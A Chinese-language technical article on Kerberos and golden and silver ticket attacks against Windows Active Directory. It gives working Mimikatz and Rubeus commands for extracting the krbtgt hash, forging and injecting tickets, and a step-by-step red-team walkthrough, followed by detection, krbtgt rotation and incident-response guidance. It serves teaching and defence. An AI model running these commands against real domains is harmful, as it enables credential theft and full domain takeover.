

Kerberos协议基础结构与认证流程

Kerberos是一种基于对称加密的网络身份验证协议，在Windows域环境中由域控制器（域中的KDC）提供服务¹。Kerberos主要包含三个角色：**客户端**（请求服务的用户或计算机）、**服务端**（提供资源的服务器）和**KDC**（Key Distribution Center，密钥分发中心）¹。KDC实际上部署在域控制器上，负责向客户端颁发和验证访问票据，以决定客户端是否有权访问目标服务¹。

Kerberos认证过程分为三个阶段²：

- **AS_REQ/AS_REP 阶段**：客户端向KDC发起认证服务请求（AS_REQ），内容为客户端名称和使用客户端密码（或密钥）加密的时间戳。KDC校验后返回AS_REP，其中包含用 `krbtgt` 账户密钥（KDC的长久密钥）加密的TGT（Ticket Granting Ticket）²。TGT中包含客户端的安全标识（SID）和组信息（PAC），供后续使用²。
- **TGS_REQ/TGS_REP 阶段**：客户端携带TGT向KDC申请特定服务票据（TGS_REQ），指定目标服务的SPN（服务主体名）。KDC用 `krbtgt` 密钥验证TGT后，生成对应的服务票据（TGS），并用目标服务账户的密钥（通常为该服务的NTLM哈希）加密后返回（TGS_REP）³。注意，此阶段KDC默认不检查客户端对服务的权限，只要TGT有效就会颁发服务票据³。
- **AP_REQ/AP_REP 阶段**：客户端将服务票据发送给目标服务（AP_REQ），服务使用自己的密钥解密并验证，如果通过则允许访问并可返回AP_REP。

Kerberos使用客户端密码（或主密钥）对AS_REQ消息加密，用 `krbtgt` 密钥为TGT签名，用服务账户密钥为服务票据签名²。掌握这些加密流程是理解攻击方法的关键：攻击者伪造黄金/白银票据实质上就是绕过上述加解密过程，生成看似有效的TGT或TGS。

黄金票据（Golden Ticket）技术

原理与条件

黄金票据（Golden Ticket）攻击是指攻击者在获得域控制器控制权后，伪造任意用户的TGT，从而获得域内任意服务的访问权限（尤其是域管理员权限）。核心条件是：攻击者已取得域内关键账号 `krbtgt` 的NTLM哈希值（通常需域管理员权限才能获取）⁴⁵；同时需要域名、域SID和欲模拟的用户（一般为域管理员）等信息⁶⁷。获取了 `krbtgt` 哈希后，攻击者即可构造并签名自己的TGT，使其看起来由KDC颁发。

获得 `krbtgt` 哈希的常用方法是，在域控制器上运行Mimikatz等工具执行LSA提取命令，例如：

```
privilege::debug
lsadump::lsa /patch
// 或者 lsadump::dcsync /domain:域名 /user:krbtgt
```

以导出 `krbtgt` 用户的NTLM哈希⁸。输出结果中包含域SID和 `krbtgt` 哈希值⁹，即可作为伪造黄金票据的关键信息。

生成与使用流程

获得必要信息后，利用工具（如Mimikatz）生成黄金票据并注入内存，可立即提升权限。典型流程包括：

1. **清理缓存**：在目标工作站执行 `kerberos::purge` 清除现有票据缓存。
2. **生成黄金票据**：使用Mimikatz的 `kerberos::golden` 命令，指定待伪造的用户名、域名、域SID和 `krbtgt` 哈希。例如：

```
kerberos::golden /user:Administrator /domain:example.local \  
/sid:S-1-5-21-1234567890-...-... /krbtgt:27f9378a9cd3619ec45c3ac66752a1f1 \  
/ticket:golden.kirbi
```

该命令生成一个伪造的TGT，保存到 `golden.kirbi` 文件¹⁰。

3. **注入票据**：执行 `kerberos::ptt golden.kirbi` 将刚生成的黄金票据注入当前会话¹¹。
4. **验证使用**：此时，可以作为域管理员访问域内任意资源，例如访问域控共享：`dir \\dc01\C$`¹²。因此TGT拥有极高权限，通常会绕过账户策略限制。

使用黄金票据后，攻击者可模拟任意域用户，包括域管理员，访问任意Kerberos认证服务（如文件共享、LDAP等），并可为自己创建或修改域账号¹³。Mimikatz输出显示，黄金票据的有效期可设为**多年**（默认10年），显著提高持久性¹⁴¹⁵。

工具示例

- **Mimikatz**：支持黄金票据的生成与注入。典型命令示例（在具有管理员权限的命令运行Mimikatz）⁸¹⁰：

```
privilege::debug  
lsadump::lsa /patch # 获取 krbtgt 哈希  
kerberos::purge  
kerberos::golden /user:Administrator /domain:example.local /sid:S-1-5-21-xxx /  
krbtgt:<krbtgt-hash> /ticket:golden.kirbi  
kerberos::ptt golden.kirbi # 注入伪造的TGT
```

- **Rubeus**：也可生成黄金票据，例如 `Rubeus.exe` 的 `golden` 或 `asktgt` 功能，但使用上略复杂，不同版本支持不同参数。此处主要以Mimikatz为例。

成功注入后，可利用 `psexec`、`wmic` 或 `PowerShell Remoting` 等远程执行工具对域控执行命令，维持访问。例如上例代码注入后运行 `dir \\DC01\C$` 即可查看域控的系统盘目录¹²。

典型场景与优势

黄金票据通常在攻击链后期使用，常见场景是：攻击者已取得域管理员权限，将其作为“后门”手段，实现**永久域控访问**。由于黄金票据的权限等同于域控制器，攻击者可以不受限制地创建帐户、访问所有服务¹³，并且由于票据长期有效，只要不重置 `krbtgt` 密码就可反复利用¹⁶¹⁴。

技术优势：黄金票据攻击一旦实施成功，可实现最高级别的域内权限，且可设为长时间有效¹⁴；不需要反复传递凭证（“无需再次验证”），可逃避某些双因素认证¹⁷。由于黄金票据伪造的是TGT，后续访问所有服务时KDC日志上只记录正常的TGS请求（Event ID 4769等），不容易在常规审核中被发现¹⁷。

局限性：实施黄金票据需要获得域控制器上的足够权限（通常为域管理员），才能提取 `krbtgt` 哈希^{4 5}。如果域控制器已对 `krbtgt` 密码进行了更改，旧哈希失效，黄金票据攻击也会失败¹⁶。此外，过长的伪造票据生命周期可能成为检测指标（如事件日志中出现异常的长期有效票据）¹⁸。

白银票据（Silver Ticket）技术

原理与条件

白银票据（Silver Ticket）攻击是指攻击者利用某个特定服务账号的密码哈希，伪造针对该服务的Kerberos服务票据（TGS），从而直接访问该服务而不需联系KDC^{19 20}。白银票据生成的前提条件是：攻击者已获得目标服务账户（例如运行某服务的域用户或计算机）的NTLM哈希，并知道域名和目标服务的SPN（服务主体名）等信息^{19 21}。常见的服务账户包括域控制器的CIFS/LDAP账户、SQL Server、SharePoint等有SPN的账号。

与黄金票据不同，白银票据**不依赖于KDC进行认证**，因为伪造的TGS使用目标服务账号的哈希自行加密签名，无需向KDC请求。正如Pentest Everything所述：“Silver ticket is a valid TGS where a Golden ticket is a TGT”²²；即黄金票据伪造的是通用的TGT，而白银票据伪造的是特定服务的TGS，并且“由服务账号的NTLM哈希进行加密和签名”²²。

生成与使用流程

生成白银票据的步骤包括：

1. **获取服务账号哈希：**攻击者需先获得目标服务所用账号的NTLM哈希。例如，可以通过Kerberoasting技术获取服务票据后离线破解，或在获取了域内某高权限账户后使用Mimikatz的 `Lsadump::dcsync` 导出该服务账号的密码哈希。
2. **伪造服务票据：**利用Mimikatz或Rubeus等工具，根据已知信息生成伪造票据。常见做法是在任一机器上（不必域控）执行命令，将伪造的TGS注入当前会话。例如使用Mimikatz命令：

```
kerberos::purge
kerberos::golden /domain:example.local /sid:S-1-5-21-xxx /target:DC01.example.local \
/service:CIFS /rc4:<service-NTLM-hash> /user:TargetUser /ptt
```

注意此处虽然命令名为 `kerberos::golden`，但通过指定 `/service` 参数配合服务账号哈希，实际上生成的是服务票据（白银票据）²³。以上命令伪造了访问 `DC01` 上 `CIFS` 服务的服务票据，并立即通过 `/ptt` 参数注入。

3. **使用伪造票据：**注入后即可访问该服务，例如 `dir \\DC01\C$` 访问域控制器C盘。如果服务允许，攻击者甚至可以以该服务账号权限执行命令，实现横向移动或提权²⁴。
4. **进一步利用：**获取了服务账号权限后，可通过该服务的特权（例如打印服务器可提权为域服务器的权限等）或利用其他漏洞继续推进。

下图示意了白银票据的基本流程：

（图示：使用服务账号哈希伪造TGS后直接访问目标服务，无需联系KDC）

工具示例：

- **Mimikatz**：同样使用 `kerberos::golden` 命令指定服务。如上例中指定 `/service:CIFS /rc4:<hash>`，其中 `<hash>` 为目标服务（如DC\$）的NTLM哈希²³。生成后执行 `kerberos::ptt` 注入即可。
- **Rubeus**：提供 `silver` 命令进行白银票据攻击。示例命令（仅示意）²⁵：

```
Rubeus.exe silver /service:cifs/dc1.example.local /user:targetuser /rc4:<NTLM-hash> /domain:example.local /ptt
```

实际使用时需指定域凭证（`/creduser` 和 `/credpassword`）或/etc。上例中 `/rc4:` 提供服务账号哈希，`/user:` 为该票据模拟的用户，`/service:` 为SPN。执行后即可将伪造票据注入。

注意：生成白银票据时，无需真实的域管理员权限，只要拿到目标服务的有效哈希即可；此外，由于白银票据不经过KDC，KDC端日志不会留下对应的TGT请求痕迹²⁶²⁷。这使得白银票据“更难检测”²⁷。

典型场景与优势

白银票据通常用于“靶向”攻击特定服务，如访问文件共享、数据库或应用服务器。其典型流程是：攻击者先利用Kerberoasting或其他提权手段获得服务账号的凭证，然后伪造服务票据直达目标服务。常见场景包括利用域控的CIFS服务票据访问域控资源，或利用SQL Server服务票据执行数据库命令。

技术优势：白银票据攻击范围较窄，仅限于特定服务，但凭借其**隐蔽性**而流行：由于跳过了KDC，攻击痕迹仅留在目标主机本地日志，难以在AD域控制器日志中发现²⁷²⁸。此外，获取某个服务账户哈希往往比获取 `krbtgt` 容易——例如Kerberoasting即可获得**任何具有SPN的域用户**的票据并暴力破解，从而为伪造提供哈希²⁹。

局限性：伪造的票据仅对指定服务有效，无法访问域中的其他资源³⁰³¹。如果目标服务账号重置密码，之前的票据即失效；且相比黄金票据，攻击者无法随意创建新的域账号或提升域级权限，只能利用被攻陷的服务权限作进一步攻击。

黄金票据与白银票据对比

- **作用范围：**黄金票据可模拟域内任意用户（尤其是域管理员）访问所有Kerberos服务¹³，几乎实现对整个域的完全控制；白银票据仅针对单个服务有效，攻击者只能访问该服务和依赖该服务的资源³⁰³²。
- **依赖关系：**黄金票据伪造的是TGT，需要域控制器的 `krbtgt` 哈希，属于域级攻击；白银票据伪造的是TGS，仅需目标服务账号哈希，通常不需要域控制器参与³⁰³³。
- **检测难度：**由于黄金票据颁发后被KDC视为合法（攻击者模拟通过正常AS_REQ流程），KDC日志中只有正常的TGS请求（Event 4769）¹⁷；而白银票据更为隐蔽，其TGS绕过KDC，日志只记录在服务端（无相关Event 4768），检测难度更大²⁷²⁸。
- **持久性：**黄金票据的有效期可被设置为几年或更久，具有高度持久性¹⁴¹⁵；白银票据通常有效期较短，且与服务账号状态直接挂钩，一旦服务凭据更改即失效。
- **前提条件：**黄金票据要求攻击者先行获得极高权限（提权至域管理员）⁴⁵；而白银票据所需权限较低，只需普通用户环境下获取服务账号哈希（例如通过Kerberoast或NTLM提权）¹⁹²¹。
- **技术风险：**黄金票据带来的安全风险更大，一旦落入攻击者手中可导致全网瘫痪，但相对容易监测到异常的长期TGT行为¹⁸；白银票据范围小，造成的损害通常局限于目标服务，但因隐蔽性强，往往不易发现²⁷²⁸。

下表总结了黄金票据与白银票据的主要区别：

特性	黄金票据 (Golden Ticket)	白银票据 (Silver Ticket)
伪造内容	伪造Kerberos TGT（域级票据）	伪造特定服务的TGS（服务票据）
所需哈希	krbtgt 账户的 NTLM 哈希 ⁴	目标服务账户（域用户或计算机）的 NTLM 哈希 ¹⁹ ²¹
权限范围	全域任意用户（尤其域管理员）	仅限目标服务所在的主机/服务
对KDC的依赖	直接使用伪造的TGT（无须重新向KDC认证） ¹⁷	无需向KDC请求，新票据直接自签 ²⁶
日志痕迹	KDC日志（Event 4769等）会正常记录TGS请求	不触及KDC，只在目标服务端记录登录/访问日志
持久性	可设置极长有效期（默认10年） ¹⁵	通常受限于服务账号密码更新，无长期持久性
适用场景	域内横向/纵向扩散、持久化后门	突破单点服务访问、局部提权
检测难度	较高（需分析异常票据特征如超长寿命、RC4加密等） ¹⁸	更高（攻击痕迹仅留在受害服务端，4769无4768对比） ²⁸

实战演练：从提权到票据伪造

下面以典型红队渗透路径为例，演示从最初获取权限到伪造票据的完整流程（假设目标为域 `EXAMPLE.LOCAL`，域控为 `DC1.EXAMPLE.LOCAL`）：

- 获取初始权限**：攻击者首先通过钓鱼、漏洞利用或Kerberoast等手段获得对域内一台普通Windows主机的控制权并取得该主机的普通用户凭据。
- 横向提权至域管理员**：利用Dump工具（如Mimikatz）从已控主机提取其凭据，对域内其他主机进行Pass-the-Hash或利用提权漏洞等，最终提升到域管理员或获得对域控制器执行代码的权限 ⁵。
- 导出关键哈希**：在域控制器上启动Mimikatz，执行如下命令提取信息和哈希 ⁸ ⁹：

```
privilege::debug
lsadump::lsa /patch
// 或者 lsadump::dcsync /domain:EXAMPLE.LOCAL /user:krbtgt
```

输出将包含域SID（如 `S-1-5-21-...`）和 `krbtgt` 的NTLM哈希 ⁹。此外，可针对其它服务账号重复此步骤获取其哈希。

- 生成并注入黄金票据**：在攻击者控制的另一台工作站上使用Mimikatz，首先清空缓存，然后根据获取的信息生成黄金票据 ¹⁰：

```
kerberos::purge
kerberos::golden /user:Administrator /domain:EXAMPLE.LOCAL \
/sid:S-1-5-21-... /krbtgt:27f9378a9cd3619ec45c3ac66752a1f1 \
/ticket:golden.kirbi
kerberos::ptt golden.kirbi
```

成功后，攻击者的当前会话就拥有域管理员（Administrator）的权限。

5. **验证及利用**：使用注入的黄金票据访问域资源，例如执行：

```
dir \\DC1\C$
```

将列出域控的C盘文件，证明取得了权限¹²。此后可运行任何需要域管理员权限的操作，如创建后门账户、横向移动等。

6. **生成并注入白银票据**：假设攻击者还获得了某服务账号（如域控的CIFS服务即DC\$）的哈希，可在任一主机上伪造该服务的TGS票据²³：

```
kerberos::purge
kerberos::golden /domain:EXAMPLE.LOCAL /sid:S-1-5-21-... \
/target:DC1.EXAMPLE.LOCAL /service:CIFS \
/rc4:53b82af68b0faf6587971fe807fad960 /user:Administrator /ptt
```

该命令针对 DC1 的 CIFS 服务生成票据，并注入会话。随后再次尝试访问共享：

```
dir \\DC1\C$
```

（理论上和黄金票据效果相同，但此票据仅限访问CIFS服务）。

在实战中，黄金和白银票据常配合其他技术使用：例如先Kerberoast获取服务哈希，再利用白银票据提升权限；或者在掌握域管理员后生成黄金票据长期留存。整个过程中，工具命令和步骤可归纳为如下示例表格：

操作步骤	工具/命令示例	说明
提取 krbtgt 哈希	<code>privilege::debug</code> <code>lsadump::lsa /patch</code>	在域控Mimikatz中运行，导出krbtgt哈希 ⁸
清理票据缓存	<code>kerberos::purge</code>	清空现有Kerberos票据
生成黄金票据	<code>kerberos::golden /user:Administrator /domain:... /sid:... /krbtgt:<hash> /ticket:golden.kirbi</code>	生成伪造的TGT ¹⁰
注入黄金票据	<code>kerberos::ptt golden.kirbi</code>	将黄金票据注入当前会话 ¹¹
生成白银票据	<code>kerberos::golden /domain:... /sid:... /target:DC1... /service:CIFS /rc4:<hash> /user:... /ptt</code>	使用目标服务哈希生成并注入TGS ²³
访问目标资源	<code>dir \\DC1\C\$</code> 或其他服务访问命令	验证并利用票据访问/修改域资源

防御与检测方法

尽管黄金和白银票据攻击隐蔽，但仍有多种侦测与防御手段：

- **强化权限管理**：限制“跨边界”权限提升，例如不让普通工作站用户拥有直升域控的权限³⁴；只赋予服务账户最小权限，减少可攻击对象³⁴³⁵。
- **定期更换关键密码**：尤其对抗黄金票据，需定期（并且连续两次）重置 `krbtgt` 账户密码³⁶。每次更改需间隔12-24小时以确保旧票据失效。服务账户密码也应定期更新，以使已窃取的哈希失效³⁵。
- **开启Kerberos审计**：在域控制器启用细粒度Kerberos事件日志记录。关注事件ID 4768/4769（Kerberos票据操作）和4624（登录事件）³⁷¹⁸。通过SIEM关联分析，可以发现异常模式。例如：
- **Event 4769**：Kerberos服务票据请求。留意加密类型（如果异常地使用RC4而非AES-256）或极长的票据有效期¹⁸。监控同一账号是否突然被赋予新组成员关系等非正常行为¹⁸。
- **Event 4624**：登录成功。注意监控来源IP和账户SID异常，例如服务器上出现不匹配的登录尝试。
- **黄金票据特征**：查找票据创建者为不存在用户、用户名与SID不一致、所属组修改等异常特征¹⁸。
- **白银票据检测**：由于白银票据不触发KDC日志，常见方法是监控目标服务所在机器的日志²⁸。例如，在受影响服务服务器上出现 **Event 4769**（TGS 请求），但域控制器上对同一请求未出现对应的 **Event 4768**（TGT 请求），则很可能是伪造的服务票据²⁸。SIEM可设置规则：在同一时间窗口内，对于同一用户，在KDC上缺少AS_REQ记录而仅在服务端出现TGS请求，应触发警报²⁸。
- **行为监测**：使用EDR/IDS监控常见工具痕迹（如Mimikatz、Rubeus运行踪迹或内存提取行为）、意外的Token创建和票据写入。对于域控制器应特别注意 `lsadump`、`dcsync` 等行为。
- **分层管理**：实施特权访问工作流程（如PAM、红黑分离）限制域管理员使用频率，即使票据被窃取，攻击者也难以继续使用。
- **日志审计与溯源**：保留安全日志、Kerberos日志长期备份。发生疑似事件时，可通过分析日志链路（如查找TGT发行者、票据持有者的异常行为）进行溯源。

参考Semperis和Netwrix的分析，综合各项日志和异常特征，是发现票据伪造的有效手段¹⁸²⁸。将多源信息（用户行为、事件ID、网络流量等）关联起来，才能较早发现隐蔽的票据攻击。

威胁狩猎与应急响应建议

在票据攻击发生后，响应流程需迅速且彻底：

1. **事件发现**：结合上述检测规则，监测到可疑关头时（如异常的4769/4768模式、用户组变更、非正常票据属性等）立刻触发调查。常用查询包括：
2. 在域控安全日志中检索TGS请求（`EventID=4769`）和用户登录（`EventID=4624`）记录。
3. 在目标服务端机器日志中查找仅有TGS无对应TGT的情况²⁸。
4. 在AD组策略或安全事件（如4627组成员变更）中查找莫名添加管理员的记录¹⁸。
5. **隔离受害主体**：一旦怀疑存在票据攻击，立即隔离相关主机和账号。可禁用或更改可疑服务账号密码，防止其继续被利用³⁵。对于Domain Admin帐户，检查其登录行为并按需重置密码。
6. **旋转密钥**：对白帽团队发现的黄金票据攻击，应**立即进行两轮** `krbtgt` 密码重置³⁶；这样即使已有黄金票据存在，也将失效。白银票据涉及的服务账号（或计算机账号）亦应重置密码、更新SPN映射，确保已窃取的哈希无法再用³⁵。
7. **清理票据**：在受影响的系统上清除Kerberos票据缓存：在终端执行 `klist purge`，在KDC上重启Kerberos服务，以剔除历史票据。检查并关闭任何后门服务或额外的管理账户。
8. **追踪攻击链**：结合日志和现场勘查，追溯攻击者获取初始权限的途径。检查是否有其他恶意工具或权限提升痕迹（如远程执行命令的记录）。对外提供日志审计报告和时间线，帮助定位入侵根本原因。
9. **验证和恢复**：在关键密码重置和系统补丁后，进行全面红队/蓝队演练，确保票据攻击路径已被堵塞。建议在恢复正常业务前进行安全评估，包括再次检查Kerberos审计和账户安全状态。

在清除攻击影响后，关键在于**持续监控**：持续跟踪与票据相关的事件，如发现新的可疑登录，应重复上述流程。同时提升组织对Kerberos安全的意识，例如部署监控工具、教育运维人员识别异常票据行为等。正如Netwrix所言，全面复盘并加强对krbtgt账户的保护，是阻断此类攻击的关键 ³⁴ ³⁶。

参考资料

- Kerberos协议及票据攻防介绍 ¹ ⁵
- Mimikatz工具使用示例 ¹⁰ ⁸
- 黄金/白银票据攻击原理 ⁴ ¹⁹
- CrowdStrike、Semperis等安全厂商分析 ¹³ ³³
- 日志检测与MITRE ATT&CK分类 ¹⁸ ²⁸
- 恢复策略与最佳实践 ³⁴ ³⁶

¹ ² ³ ⁴ ⁶ ⁸ ⁹ ¹⁰ ¹¹ ¹² ¹⁶ 内网渗透之kerberos协议学习及攻击方法总结 · HackKerQQ's Studio

<https://hackerqwq.github.io/2021/06/28/kerberos%E5%8D%8F%E8%AE%AE%E5%AD%A6%E4%B9%A0/>

⁵ ⁷ ¹³ ¹⁴ ¹⁷ What is a Golden Ticket Attack? | CrowdStrike

<https://www.crowdstrike.com/en-us/cybersecurity-101/cyberattacks/golden-ticket-attack/>

¹⁵ ²² ²³ Silver Ticket | Pentest Everything

<https://viperone.gitbook.io/pentest-everything/everything/everything-active-directory/credential-access/steal-or-forge-kerberos-tickets/silver-ticket>

¹⁸ ³⁴ ³⁶ Golden Ticket Attack

https://www.netwrix.com/how_golden_ticket_attack_works.html

¹⁹ ²⁹ ³⁰ Steal or Forge Kerberos Tickets: Silver Ticket, Sub-technique T1558.002 - Enterprise | MITRE ATT&CK®

<https://attack.mitre.org/techniques/T1558/002/>

²⁰ ²¹ ²⁴ ²⁶ ³³ ³⁵ What is a Silver Ticket Attack? | CrowdStrike

<https://www.crowdstrike.com/en-us/cybersecurity-101/cyberattacks/silver-ticket-attack/>

²⁵ A Detailed Guide on Rubeus

<https://www.hackingarticles.in/a-detailed-guide-on-rubeus/>

²⁷ Kerberos Attack: Silver Ticket Edition

<https://www.varonis.com/blog/kerberos-attack-silver-ticket>

²⁸ ³¹ ³² How to Defend Against Silver Ticket Attacks | Semperis Guide

<https://www.semperis.com/blog/how-to-defend-against-silver-ticket-attacks/>

³⁷ Golden Ticket Attack Explained | Semperis Identity Attack Catalog

<https://www.semperis.com/blog/golden-ticket-attack-explained/>